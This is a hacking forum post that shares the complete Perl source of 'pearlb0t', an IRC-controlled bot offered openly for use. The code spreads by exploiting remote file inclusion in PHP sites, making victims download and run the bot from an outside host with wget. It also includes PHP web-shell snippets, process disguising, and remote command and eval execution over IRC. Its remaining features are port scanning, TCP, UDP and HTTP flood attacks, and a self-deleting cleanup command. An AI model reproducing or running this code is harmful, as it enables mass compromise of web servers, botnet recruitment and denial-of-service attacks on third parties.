comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Perl BotWeb

  • 0 Respuestas
  • 1785 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:47:10 pm »
Código: Perl
  1. #!/usr/bin/perl
  2.  
  3.                             ############################
  4.  
  5.                             ##  pearlb0t by Mindfuck  ##
  6.  
  7. ################################################################################
  8. ############################################
  9.  
  10. #
  11.  
  12. #    V 0.7b    -Orginally writen by some guy i dont know, found 4 or 5 different versions on /tmp's, and no one worked...
  13.  
  14. #             So i decided to learn perl and fix things up...
  15.  
  16. #            - Fixed the Spreader
  17.  
  18. #            - Added a few RFI exploits
  19.  
  20. #            - Added Hostauth/Channelkey/Serverpass function
  21.  
  22. #            - Added die command
  23.  
  24. #            - Added bot Remover
  25.  
  26. #            - Implemented a simple webserver that hosts the botfile on $wwwport
  27.  
  28. #              Now you just have to config your phpshell.
  29.  
  30. #            - Since some shells cant get the real external ip, you can use external webservers as well
  31.  
  32. #            - You can even include external files
  33.  
  34. #        ToDo:
  35.  
  36. #            - Update Command
  37.  
  38. #            - Connectbackshell trigger
  39.  
  40. #            - MassDefeace
  41.  
  42. #            - passwd/shadow sender
  43.  
  44. #            - Find a "good" way to crypt the code without using special libs
  45.  
  46. #
  47.  
  48. #        Cmd's:
  49.  
  50. #            - Start exploiting:    !say @sploit <seconds>
  51.  
  52. #            - Kill the bot:        !say @die
  53.  
  54. #            - Delete Bot:        !say @fuckit
  55.  
  56. #            - Portscan:            !say @portscan <ip/dns> <sourceport>
  57.  
  58. #            - Tcpflood:            !say @tcpflood <ip/dns> <port> <seconds>
  59.  
  60. #            - Httpflood:        !say @httpflood <ip/dns> <seconds>
  61.  
  62. #            - Udpflood:            !say @udpflood <ip/dns> <port> <seconds>
  63.  
  64. #            - Version:            !say @version
  65.  
  66. #            - Op/deOp:            !say @op/deop <nick>
  67.  
  68. #            - Msg:                !say @msg <nick/chan> <msg>
  69.  
  70. #            - Chanflood:        !say @flood <nick/chan> <msg>
  71.  
  72. #            - CTCP:                !say @ctcp <nick> <chat/ping/version/time>
  73.  
  74. #            - CTCP-Flood:        !say @ctcpflood <nick> <chat/ping/version/time>
  75.  
  76. #            - Nickchange:        !say @nick <nickname>
  77.  
  78. #            - Connect:            !say @connect <irc-server>
  79.  
  80. #            - Raw Commands:        !say @raw <rawcmd>
  81.  
  82. #            - Eval:                !say @eval <?>
  83.  
  84. #
  85.  
  86. #
  87.  
  88. #            ###########################
  89.  
  90. #            # php_shell.gif:          #
  91.  
  92. #            # <?                      #
  93.  
  94. #            # passthru($_GET['cmd']); #
  95.  
  96. #            # ?>                      #
  97.  
  98. #            ###########################
  99.  
  100. #
  101.  
  102. #            ###########################################################################
  103. #############################
  104.  
  105. #            # pwn.php                                                                                               #
  106.  
  107. #            # <?                                                                                                    #
  108.  
  109. #            # passthru('cd /tmp;wget http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');           #
  110.  
  111. #            # passthru('cd /tmp;curl -O http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');        #
  112.  
  113. #            # passthru('cd /tmp;lwp-download http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');   #
  114.  
  115. #            # ?>                                                                                                    #
  116.  
  117. #            ###########################################################################
  118. #############################
  119.  
  120. #
  121.  
  122. #
  123.  
  124. ################################################################################
  125. ################################################
  126.  
  127. use strict();
  128.  
  129. use IO::Socket;
  130.  
  131. use Socket;
  132.  
  133. use IO::Select;
  134.  
  135. use Net::hostent;
  136.  
  137.  
  138.  
  139. # Checking if the process is allready running...
  140.  
  141. my $process = 'inedt'; if (`ps u` =~ /inedt/) { You are not allowed to view links. Register or Login; }    # change the shown process
  142.  
  143.  
  144.  
  145. my @admins = ("Mindfuck","x0r");                        # admin nicknames
  146.  
  147. my @hostauth = ("pwnz.ya");                            # admin host
  148.  
  149. my @channels = ("#pearl#");                                # irc channel
  150.  
  151. my $chankey = 'titten';                                    # channel key
  152.  
  153. $server = 'pwndpwndpwnd.org' unless $server;                # irc server
  154.  
  155. my $port = '11011';                                        # irc server port
  156.  
  157. my $servpass = 'Key';                                    # irc server password
  158.  
  159. my $wwwport = '1337';                                    # webserver port
  160.  
  161. my $phpshell = "http://mindfuck.gotdns.org/";        # URL of your phpshell
  162.  
  163. my $usepwnphp = '0';                        # Include external file in your exploit?
  164.  
  165. my $pwnphp = "http://pwn4fun.gotdns.org/";        # A PhP file to include
  166.  
  167. my $scanmsg = '1';                                        # Print Exploit Messages to Channel?
  168.  
  169. my $bothttpd = '0';                                        # Use own httpd? (Set 2 for pwnphp)
  170.  
  171. my $ex_botfile = "http://mindfuck.gotdns.org/";
  172.  
  173.  
  174.  
  175. ######################################### Exploits ###################################################################
  176.  
  177. my $search1 = "%22option=com_galleria%22+site%3A".$dom."%20", "inurl:%22".$dom."/index.php?option=com_galleria%22";
  178.  
  179. my $sploit1 = "/components/com_galleria/galleria.html.php?mosConfig_absolute_path=";
  180.  
  181. my $search2 = "%22inurl%3A%2Fmodules.php%3Fop%3Dmodload%22+%22inurl%3Acm_summary%22";
  182.  
  183. my $sploit2 = "/cm_navigation.inc.php?path_pre=";
  184.  
  185. my $search3 = "%22inurl%3Aindex.php%3Fwiki%3D%22+%22wikepage%22";
  186.  
  187. my $sploit3 = "/index.php?cmd=id&lng=";
  188.  
  189.  
  190.  
  191. my $tehsploit = $sploit3;    # Set the active exploit here
  192.  
  193. my $tehsearch = $search3;    # Set active search
  194.  
  195. ################################################################################
  196. #####################################
  197.  
  198.  
  199.  
  200.    
  201.  
  202. #########################################
  203.  
  204. #                                        #
  205.  
  206. #   NO NEED TO EDIT BELOW THIS LINE!    #
  207.  
  208. #                                        #
  209.  
  210. #########################################
  211.  
  212. my $filename = __FILE__;
  213.  
  214. my $lines_max='4';
  215.  
  216. my $sleep='5';
  217.  
  218. my $ifconfig = `/sbin/ifconfig`;
  219.  
  220. $ifconfig =~ m/(d+.d+.d+.d+)/;
  221.  
  222. my $ip = $1;
  223.  
  224. You are not allowed to view links. Register or Login (my $nick = `whoami`);
  225.  
  226. You are not allowed to view links. Register or Login (my $ircname = `whoami`);
  227.  
  228. You are not allowed to view links. Register or Login (my $realname = `uname -sr`);
  229.  
  230. my $VERSION = '0.7b';
  231.  
  232. $SIG{'INT'} = 'IGNORE';
  233.  
  234. $SIG{'HUP'} = 'IGNORE';
  235.  
  236. $SIG{'TERM'} = 'IGNORE';
  237.  
  238. $SIG{'CHLD'} = 'IGNORE';
  239.  
  240. $server="$ARGV[0]" if $ARGV[0];
  241.  
  242. $0="$process"."0"x16;;
  243.  
  244. my $pid=fork;
  245.  
  246. exit if $pid;
  247.  
  248. die "Cant fork: $!" unless defined($pid);
  249.  
  250. print "Another one bites the Dust...n";
  251.  
  252. our %irc_servers;
  253.  
  254. our %DCC;
  255.  
  256. my $dcc_sel = new IO::Select->new();
  257.  
  258. $sel_client = IO::Select->new();
  259.  
  260. sub sendraw {
  261.  
  262.     if ($#_ == '1') {
  263.  
  264.     my $socket = $_[0];
  265.  
  266.     print $socket "$_[1]n";
  267.  
  268.     } else {
  269.  
  270.         print $IRC_cur_socket "$_[0]n";
  271.  
  272.         }
  273.  
  274.     }
  275.  
  276. ############ WWW START ##################
  277.  
  278. if ($bothttpd == 1) {
  279.  
  280.     sub www() {
  281.  
  282.         my $filename = __FILE__;
  283.  
  284.         open(FILE, $filename);
  285.  
  286.         my @botfile = <FILE>;
  287.  
  288.         my $wwwserver = IO::Socket::INET->new(
  289.  
  290.         Proto =>'tcp',
  291.  
  292.         LocalPort =>$wwwport,
  293.  
  294.         Listen=> SOMAXCONN,
  295.  
  296.         Reuse=> 1 );
  297.  
  298.         die "WWW Server NOT started" unless $wwwserver;
  299.  
  300.         while ($wwwclient = $wwwserver->accept()) {
  301.  
  302.             $wwwclient -> autoflush(1);
  303.  
  304.             print $wwwclient "@botfile";
  305.  
  306.             sleep(1);
  307.  
  308.             close $wwwclient;
  309.  
  310.         }
  311.  
  312.     }
  313.  
  314.         my $wwwpid=fork;
  315.  
  316.         exit if $wwwpid;
  317.  
  318.         die "Cant fork: $!" unless defined($wwwpid);
  319.  
  320.         if (my $wwwpid = fork) {
  321.  
  322.             waitpid($wwwpid, 0);
  323.  
  324.         } else {
  325.  
  326.         if (fork) {
  327.  
  328.                        exit;
  329.  
  330.                 } else {
  331.  
  332.                     www;
  333.  
  334.                 }
  335.  
  336.         }
  337.  
  338. } else { print "Started without Bot httpd, make sure your botfile is reachablen"; }
  339.  
  340. ############ WWW END ####################
  341.  
  342.  
  343.  
  344. sub connection {
  345.  
  346.     my $meunick = $_[0];
  347.  
  348.     my $server_con = $_[1];
  349.  
  350.     my $port_con = $_[2];
  351.  
  352.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1);
  353.  
  354.     if (defined($IRC_socket)) {
  355.  
  356.         $IRC_cur_socket = $IRC_socket;
  357.  
  358.         $IRC_socket->autoflush(1);
  359.  
  360.         $sel_client->add($IRC_socket);
  361.  
  362.         $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  363.  
  364.         $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  365.  
  366.         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  367.  
  368.         $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  369.  
  370.         nick("$meunick");
  371.  
  372.         sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  373.  
  374.         sleep 1;
  375.  
  376.         }
  377.  
  378.     }
  379.  
  380.  
  381.  
  382. my $line_temp;
  383.  
  384.     while( 1 ) {
  385.  
  386.         while (!(keys(%irc_servers))) { connection("$nick", "$server", "$port", "$servpass"); }
  387.  
  388.         delete($irc_servers{''}) if (defined($irc_servers{''}));
  389.  
  390.         my @ready = $sel_client->can_read(0);
  391.  
  392.         next unless(@ready);
  393.  
  394.         foreach $fh (@ready) {
  395.  
  396.             $IRC_cur_socket = $fh;
  397.  
  398.             $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  399.  
  400.             $nread = sysread($fh, $msg, 4096);
  401.  
  402.             if ($nread == 0) {
  403.  
  404.                 $sel_client->remove($fh);
  405.  
  406.                 $fh->close;
  407.  
  408.                 delete($irc_servers{$fh});
  409.  
  410.                 }
  411.  
  412.             @lines = split (/n/, $msg);
  413.  
  414.             for(my $c=0; $c<= $#lines; $c++) {
  415.  
  416.                 $line = $lines[$c];
  417.  
  418.                 $line=$line_temp.$line if ($line_temp);
  419.  
  420.                 $line_temp='';
  421.  
  422.                 $line =~ s/r$//;
  423.  
  424.                 unless ($c == $#lines) {
  425.  
  426.                     parse("$line");
  427.  
  428.                     } else {
  429.  
  430.                         if ($#lines == 0) {
  431.  
  432.                             parse("$line");
  433.  
  434.                         } elsif ($lines[$c] =~ /r$/) {
  435.  
  436.                             parse("$line");
  437.  
  438.                         } elsif ($line =~ /^(S+) NOTICE AUTH :***/) {
  439.  
  440.                             parse("$line");
  441.  
  442.                         } else { $line_temp = $line; }
  443.  
  444.                     }
  445.  
  446.             }
  447.  
  448.         }
  449.  
  450.     }
  451.  
  452.  
  453.  
  454. sub parse {
  455.  
  456.     my $servarg = shift;
  457.  
  458.     if ($servarg =~ /^PING :(.*)/) {
  459.  
  460.         sendraw("PONG :$1");
  461.  
  462.         } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) {
  463.  
  464.             my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  465.  
  466.         if ($args =~ /^001VERSION001$/) {
  467.  
  468.             notice("$pn", "001VERSION IrOffer v1.4001");
  469.  
  470.         }
  471.  
  472.         if (grep {$_ =~ /^Q$hostmaskE$/i } @hostauth) {
  473.  
  474.             if (grep {$_ =~ /^Q$pnE$/i } @admins) {
  475.  
  476.                 if ($onde eq "$meunick"){
  477.  
  478.                     shell("$pn", "$args");
  479.  
  480.                     }
  481.  
  482.             if ($args =~ /^(Q$meunickE|!say)s+(.*)/ ) {
  483.  
  484.                 my $natrix = $1;
  485.  
  486.                 my $arg = $2;
  487.  
  488.             if ($arg =~ /^!(.*)/) {
  489.  
  490.                 ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^!nick/);
  491.  
  492.             } elsif ($arg =~ /^@(.*)/) {
  493.  
  494.                 $ondep = $onde;
  495.  
  496.                 $ondep = $pn if $onde eq $meunick;
  497.  
  498.                 bfunc("$ondep","$1");
  499.  
  500.             } else {
  501.  
  502.                 shell("$onde", "$arg");
  503.  
  504.                 }
  505.  
  506.             }
  507.  
  508.         }
  509.  
  510.     }
  511.  
  512. }
  513.  
  514. elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i) {
  515.  
  516.     if (lc($1) eq lc($meunick)) {
  517.  
  518.         $meunick=$4;
  519.  
  520.         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  521.  
  522.     }
  523.  
  524.     } elsif ($servarg =~ m/^:(.+?)s+433/i) {
  525.  
  526.         nick("$meunick|".int rand(999999));
  527.  
  528.     } elsif ($servarg =~ m/^:(.+?)s+001s+(S+)s/i) {
  529.  
  530.         $meunick = $2;
  531.  
  532.         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  533.  
  534.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  535.  
  536.         foreach my $channel (@channels) {
  537.  
  538.         sendraw("JOIN $channel $chankey");
  539.  
  540.         }
  541.  
  542.     }
  543.  
  544. }
  545.  
  546.  
  547.  
  548. sub bfunc {
  549.  
  550.     my $printl = $_[0];
  551.  
  552.     my $funcarg = $_[1];
  553.  
  554.     if (my $pid = fork) {
  555.  
  556.         waitpid($pid, 0);
  557.  
  558.     } else {
  559.  
  560.         if (fork) {
  561.  
  562.             exit;
  563.  
  564.         } else {
  565.  
  566.             if ($funcarg =~ /^portscan (.*)/) {
  567.  
  568.                 my $hostip="$1";
  569.  
  570.                 my @ports=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  571.  
  572.                 my (@result, %port_banner);
  573.  
  574.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Scanning ".$1." for open ports.");    
  575.  
  576.                 foreach my $port (@ports)  {
  577.  
  578.                     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto => 'tcp', Timeout => 4);
  579.  
  580.                     if ($scansock) {
  581.  
  582.                         push (@result, $port);
  583.  
  584.                         $scansock->close;
  585.  
  586.                     }
  587.  
  588.                 }
  589.  
  590.             if (@result) {
  591.  
  592.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Open port(s): @result");
  593.  
  594.             } else {
  595.  
  596.                 sendraw($IRC_cur_socket,"PRIVMSG $printl :002[SCAN]002 No open ports found");
  597.  
  598.             }
  599.  
  600.         }
  601.  
  602.         if ($funcarg =~ /^tcpfloods+(.*)s+(d+)s+(d+)/) {
  603.  
  604.             sendraw($IRC_cur_socket, "PRIVMSG $printl :002[TCP]002 Attacking ".$1.":".$2." for ".$3." seconds.");
  605.  
  606.             my $itime = time;
  607.  
  608.             my ($cur_time);
  609.  
  610.             $cur_time = time - $itime;
  611.  
  612.             while ($3>$cur_time){
  613.  
  614.                 $cur_time = time - $itime;
  615.  
  616.                 &tcpflooder("$1","$2","$3");
  617.  
  618.             }
  619.  
  620.         sendraw($IRC_cur_socket, "PRIVMSG $printl :002[TCP]002 Attack done ".$1.":".$2.".");
  621.  
  622.         }
  623.  
  624.         if ($funcarg =~ /^version/) {
  625.  
  626.             sendraw($IRC_cur_socket, "PRIVMSG $printl :002[VERSION]002 pearlb0t ver ".$VERSION);  
  627.  
  628.             }
  629.  
  630.         if ($funcarg =~ /^www/) {
  631.  
  632.             sendraw($IRC_cur_socket, "PRIVMSG $printl :002[WWW]002 Bot serving itself on $ip:$wwwport");
  633.  
  634.             }
  635.  
  636.         if ($funcarg =~ /^die/) {
  637.  
  638.             sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Okay Boss, im goin home...");
  639.  
  640.             system("kill -9 `ps ax |grep $process |grep -v grep|awk '{print $1;}'`");
  641.  
  642.         }
  643.  
  644.         if ($funcarg =~ /^fuckit/) {
  645.  
  646.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Hmkay, deleting ".$filename."...");
  647.  
  648.                 system("rm $filename");
  649.  
  650.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Stopping process $process");
  651.  
  652.                 system("kill -9 `ps ax |grep $process |grep -v grep|awk '{print $1;}'`");
  653.  
  654.             }
  655.  
  656.                         if ($funcarg =~ /^sploit (.*)/) {
  657.  
  658.                                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Scanning for ".$1." seconds.");
  659.  
  660.                                 if ($bothttpd == 1) {
  661.  
  662.                                         srand;
  663.  
  664.                                         my $itime = time;
  665.  
  666.                                         my ($cur_time);
  667.  
  668.                                         my ($exploited);
  669.  
  670.                                         $boturl= "http://$ip:$wwwport";
  671.  
  672.                                         $cur_time = time - $itime;$exploited = 0;
  673.  
  674.                                         while($1>$cur_time){
  675.  
  676.                                                 $cur_time = time - $itime;
  677.  
  678.                                                 @urls=fetch();
  679.  
  680.                                                 foreach $url (@urls) {
  681.  
  682.                                                         $cur_time = time - $itime;
  683.  
  684.                                                         my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;
  685.  
  686.                                                         $url =$path."$tehsploit$phpshell?cmd=cd+/tmp;wget+$boturl+-o+$filename;perl+$filename";
  687.  
  688.                                                         my $page = http_query($url);
  689.  
  690.                                                         if ($scanmsg == 1) {
  691.  
  692.                                                                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);
  693.  
  694.                                                                 $exploited = $exploited + 1;
  695.  
  696.                             }
  697.  
  698.                                                 }
  699.  
  700.                                         }
  701.  
  702.                                 }
  703.  
  704.                                 if ($bothttpd == 0) {
  705.  
  706.                                         srand;
  707.  
  708.                                         my $itime = time;
  709.  
  710.                                         my ($cur_time);
  711.  
  712.                                         my ($exploited);
  713.  
  714.                                         $boturl= "$ex_botfile";
  715.  
  716.                                         $cur_time = time - $itime;$exploited = 0;
  717.  
  718.                                         while($1>$cur_time){
  719.  
  720.                                                 $cur_time = time - $itime;
  721.  
  722.                                                 @urls=fetch();
  723.  
  724.                                                 foreach $url (@urls) {
  725.  
  726.                                                         $cur_time = time - $itime;
  727.  
  728.                                                         my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;
  729.  
  730.                                                         $url =$path."$tehsploit$phpshell?cmd=cd+/tmp;wget+$boturl;perl+$filename";
  731.  
  732.                             my $page = http_query($url);
  733.  
  734.                                                                 if ($scanmsg == 1) {
  735.  
  736.                                                                         sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);
  737.  
  738.                                                                         $exploited = $exploited + 1;
  739.  
  740.                                                                 }
  741.  
  742.                                                 }
  743.  
  744.                                         }
  745.  
  746.  
  747.  
  748.  
  749.  
  750.                                 }
  751.  
  752.                 if (($usepwnphp == 1) && ($bothttpd == 2)) {
  753.  
  754.                                         srand;
  755.  
  756.                                         my $itime = time;
  757.  
  758.                                         my ($cur_time);
  759.  
  760.                                         my ($exploited);
  761.  
  762.                                         $cur_time = time - $itime;$exploited = 0;
  763.  
  764.                                         while($1>$cur_time){
  765.  
  766.                                                 $cur_time = time - $itime;
  767.  
  768.                                                 @urls=fetch();
  769.  
  770.                                                 foreach $url (@urls) {
  771.  
  772.                                                         $cur_time = time - $itime;
  773.  
  774.                                                         my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;
  775.  
  776.                                                         $url =$path."$tehsploit$pwnphp";
  777.  
  778.                                                         my $page = http_query($url);
  779.  
  780.                                                                 if ($scanmsg == 1) {
  781.  
  782.                                                                         sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);
  783.  
  784.                                                                         $exploited = $exploited + 1;
  785.  
  786.                                                                 }
  787.  
  788.                                                 }
  789.  
  790.                                         }
  791.  
  792.  
  793.  
  794.  
  795.  
  796.                                 }
  797.  
  798.                         if ($scanmsg == 1) {
  799.  
  800.                                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploited ".$exploited." boxes in ".$1." seconds.");
  801.  
  802.                                 }
  803.  
  804.                         }
  805.  
  806.             if ($funcarg =~ /^httpfloods+(.*)s+(d+)/) {
  807.  
  808.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[HTTP]002 Attacking ".$1.":80 for ".$2." seconds.");
  809.  
  810.                 my $itime = time;
  811.  
  812.                 my ($cur_time);
  813.  
  814.                 $cur_time = time - $itime;
  815.  
  816.                 while ($2>$cur_time){
  817.  
  818.                     $cur_time = time - $itime;
  819.  
  820.                     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  821.  
  822.                     print $socket "GET / HTTP/1.1rnAccept: */*rnHost: ".$1."rnConnection: Keep-Alivernrn";
  823.  
  824.                     close($socket);
  825.  
  826.                 }
  827.  
  828.             sendraw($IRC_cur_socket, "PRIVMSG $printl :002[HTTP]002 Attacking done ".$1.".");
  829.  
  830.             }
  831.  
  832.             if ($funcarg =~ /^udpfloods+(.*)s+(d+)s+(d+)/) {
  833.  
  834.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[UDP]002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
  835.  
  836.                 my ($dtime, %packets) = udpflooder("$1", "$2", "$3");
  837.  
  838.                 $dtime = 1 if $dtime == 0;
  839.  
  840.                 my %bytes;
  841.  
  842.                 $bytes{igmp} = $2 * $packets{igmp};
  843.  
  844.                 $bytes{icmp} = $2 * $packets{icmp};
  845.  
  846.                 $bytes{o} = $2 * $packets{o};
  847.  
  848.                 $bytes{udp} = $2 * $packets{udp};
  849.  
  850.                 $bytes{tcp} = $2 * $packets{tcp};
  851.  
  852.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :002[UDP]002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
  853.  
  854.             }
  855.  
  856.             exit;
  857.  
  858.         }
  859.  
  860.     }
  861.  
  862. }
  863.  
  864.  
  865.  
  866. sub ircase {
  867.  
  868.     my ($kem, $printl, $case) = @_;
  869.  
  870.     if ($case =~ /^join (.*)/) {
  871.  
  872.         j("$1");
  873.  
  874.     }
  875.  
  876.     if ($case =~ /^part (.*)/) {
  877.  
  878.         p("$1");
  879.  
  880.     }
  881.  
  882.     if ($case =~ /^rejoins+(.*)/) {
  883.  
  884.         my $chan = $1;
  885.  
  886.         if ($chan =~ /^(d+) (.*)/) {
  887.  
  888.             for (my $ca = 1; $ca <= $1; $ca++ ) {
  889.  
  890.                 p("$2");
  891.  
  892.                 j("$2");
  893.  
  894.             }
  895.  
  896.         } else {
  897.  
  898.             p("$chan");
  899.  
  900.             j("$chan");
  901.  
  902.         }
  903.  
  904.     }
  905.  
  906.     if ($case =~ /^op/) {
  907.  
  908.         op("$printl", "$kem") if $case eq "op";
  909.  
  910.         my $oarg = substr($case, 3);
  911.  
  912.         op("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);
  913.  
  914.     }
  915.  
  916.     if ($case =~ /^deop/) {
  917.  
  918.         deop("$printl", "$kem") if $case eq "deop";
  919.  
  920.         my $oarg = substr($case, 5);
  921.  
  922.         deop("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);
  923.  
  924.     }
  925.  
  926.     if ($case =~ /^msgs+(S+) (.*)/) {
  927.  
  928.         msg("$1", "$2");
  929.  
  930.     }
  931.  
  932.     if ($case =~ /^floods+(d+)s+(S+) (.*)/) {
  933.  
  934.         for (my $cf = 1; $cf <= $1; $cf++) {
  935.  
  936.             msg("$2", "$3");
  937.  
  938.         }
  939.  
  940.     }
  941.  
  942.     if ($case =~ /^ctcps+(S+) (.*)/) {
  943.  
  944.         ctcp("$1", "$2");
  945.  
  946.     }
  947.  
  948.     if ($case =~ /^ctcpfloods+(d+)s+(S+) (.*)/) {
  949.  
  950.         for (my $cf = 1; $cf <= $1; $cf++) {
  951.  
  952.             ctcp("$2", "$3");
  953.  
  954.         }
  955.  
  956.     }
  957.  
  958.     if ($case =~ /^nick (.*)/) {
  959.  
  960.         nick("$1");
  961.  
  962.     }
  963.  
  964.     if ($case =~ /^connects+(S+)s+(S+)/) {
  965.  
  966.         connection("$2", "$1", 6667);
  967.  
  968.     }
  969.  
  970.     if ($case =~ /^raw (.*)/) {
  971.  
  972.         sendraw("$1");
  973.  
  974.     }
  975.  
  976.     if ($case =~ /^eval (.*)/) {
  977.  
  978.         eval "$1";
  979.  
  980.     }
  981.  
  982. }
  983.  
  984.  
  985.  
  986. sub shell {
  987.  
  988.     my $printl=$_[0];
  989.  
  990.     my $cmd=$_[1];
  991.  
  992.     if ($cmd =~ /cd (.*)/) {
  993.  
  994.         chdir("$1") || msg("$printl", "No such file or directory");
  995.  
  996.         return;
  997.  
  998.     }
  999.  
  1000.     elsif ($pid = fork) {
  1001.  
  1002.         waitpid($pid, 0);
  1003.  
  1004.     } else {
  1005.  
  1006.         if (fork) {
  1007.  
  1008.             exit;
  1009.  
  1010.         } else {
  1011.  
  1012.             my @resp=`$cmd 2>&1 3>&1`;
  1013.  
  1014.             my $c=0;
  1015.  
  1016.             foreach my $linha (@resp) {
  1017.  
  1018.                 $c++;
  1019.  
  1020.                 chop $linha;
  1021.  
  1022.                 sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1023.  
  1024.                 if ($c == "$lines_max") {
  1025.  
  1026.                     $c=0;
  1027.  
  1028.                     sleep $sleep;
  1029.  
  1030.                 }
  1031.  
  1032.         }
  1033.  
  1034.         exit;
  1035.  
  1036.         }
  1037.  
  1038.     }
  1039.  
  1040. }
  1041.  
  1042.  
  1043.  
  1044. sub tcpflooder {
  1045.  
  1046.     my $itime = time;
  1047.  
  1048.     my ($cur_time);
  1049.  
  1050.     my ($ia,$pa,$proto,$j,$l,$t);
  1051.  
  1052.     $ia=inet_aton($_[0]);
  1053.  
  1054.     $pa=sockaddr_in($_[1],$ia);
  1055.  
  1056.     $ftime=$_[2];
  1057.  
  1058.     $proto=getprotobyname('tcp');
  1059.  
  1060.     $j=0;$l=0;
  1061.  
  1062.     $cur_time = time - $itime;
  1063.  
  1064.     while ($l<1000){
  1065.  
  1066.         $cur_time = time - $itime;
  1067.  
  1068.         last if $cur_time >= $ftime;
  1069.  
  1070.         $t="SOCK$l";
  1071.  
  1072.         socket($t,PF_INET,SOCK_STREAM,$proto);
  1073.  
  1074.         connect($t,$pa)||$j--;
  1075.  
  1076.         $j++;$l++;
  1077.  
  1078.         }
  1079.  
  1080.     $l=0;
  1081.  
  1082.     while ($l<1000){
  1083.  
  1084.     $cur_time = time - $itime;
  1085.  
  1086.     last if $cur_time >= $ftime;
  1087.  
  1088.     $t="SOCK$l";
  1089.  
  1090.     shutdown($t,2);
  1091.  
  1092.     $l++;
  1093.  
  1094.     }
  1095.  
  1096. }
  1097.  
  1098.  
  1099.  
  1100. sub udpflooder {
  1101.  
  1102.     my $iaddr = inet_aton($_[0]);
  1103.  
  1104.     my $msg = 'A' x $_[1];
  1105.  
  1106.     my $ftime = $_[2];
  1107.  
  1108.     my $cp = 0;
  1109.  
  1110.     my (%packets);
  1111.  
  1112.     $packets{icmp} = $packets{igmp} = $packets{udp} = $packets{o} = $packets{tcp} = 0;
  1113.  
  1114.     socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1115.  
  1116.     socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1117.  
  1118.     socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1119.  
  1120.     socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1121.  
  1122.     return(undef) if $cp == 4;
  1123.  
  1124.     my $itime = time;
  1125.  
  1126.     my ($cur_time);
  1127.  
  1128.     while ( 1 ) {
  1129.  
  1130.         for (my $port = 1; $port <= 65000; $port++) {
  1131.  
  1132.             $cur_time = time - $itime;
  1133.  
  1134.             last if $cur_time >= $ftime;
  1135.  
  1136.             send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{igmp}++;
  1137.  
  1138.             send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{udp}++;
  1139.  
  1140.             send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{icmp}++;
  1141.  
  1142.             send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{tcp}++;
  1143.  
  1144.             for (my $pc = 3; $pc <= 255;$pc++) {
  1145.  
  1146.                 next if $pc == 6;
  1147.  
  1148.                 $cur_time = time - $itime;
  1149.  
  1150.                 last if $cur_time >= $ftime;
  1151.  
  1152.                 socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1153.  
  1154.                 send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{o}++;
  1155.  
  1156.             }
  1157.  
  1158.         }
  1159.  
